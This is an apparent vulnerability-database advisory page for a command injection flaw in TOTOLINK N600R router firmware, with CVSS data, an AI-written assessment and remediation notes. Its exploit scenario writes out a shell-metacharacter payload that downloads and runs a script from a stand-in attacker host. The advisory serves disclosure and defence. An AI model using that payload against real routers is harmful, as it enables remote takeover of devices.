EUVD-2026-66186
GHSA-7p5v-7f42-f3jj
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network-reachable popen injection on a root-running CGI process yields full OS control, warranting High C/I/A with no scope change needed.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was detected in TOTOLINK N600R 4.3.0cu.7647_B20210106. The impacted element is the function getCurrentTime of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument ntp_server results in command injection. The attack can be initiated remotely. The exploit is now public and may be used.
AnalysisAI
Remote command injection in TOTOLINK N600R firmware 4.3.0cu.7647_B20210106 allows unauthenticated network attackers to execute arbitrary OS commands by supplying shell metacharacters in the ntp_server parameter to the getCurrentTime handler at /cgi-bin/cstecgi.cgi. A public proof-of-concept demonstrating popen-based injection is available on GitHub, confirmed by the CVSS 4.0 E:P exploit maturity indicator, meaning exploitation requires minimal attacker skill. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires network-level access to the TOTOLINK N600R's HTTP/HTTPS web management interface and the ability to send a POST or GET request to `/cgi-bin/cstecgi.cgi` invoking the `getCurrentTime` function with a crafted `ntp_server` value containing shell metacharacters. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base vector scores this at 6.9 (Medium) with all vulnerable-system impact metrics at Low (VC:L/VI:L/VA:L), a rating that is inconsistent with the confirmed popen-based command injection technique, which on embedded router CGI handlers - where root-level execution is standard - would realistically yield full system compromise. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated remote attacker sends an HTTP request to `/cgi-bin/cstecgi.cgi` targeting the `getCurrentTime` function, with the `ntp_server` parameter set to a value containing shell metacharacters such as `; wget http://attacker.example/shell.sh -O /tmp/s; sh /tmp/s;`. The CGI process passes this value unsanitized to `popen()`, executing the injected shell commands with the privileges of the CGI handler - likely root on this device class. … |
| Remediation | No vendor-released patch has been identified in the available intelligence - no fix version or official TOTOLINK advisory appears in the provided references. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Same weakness CWE-77 – Command Injection
View allSame technique Command Injection
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External POC / Exploit Code
Leaving vuln.today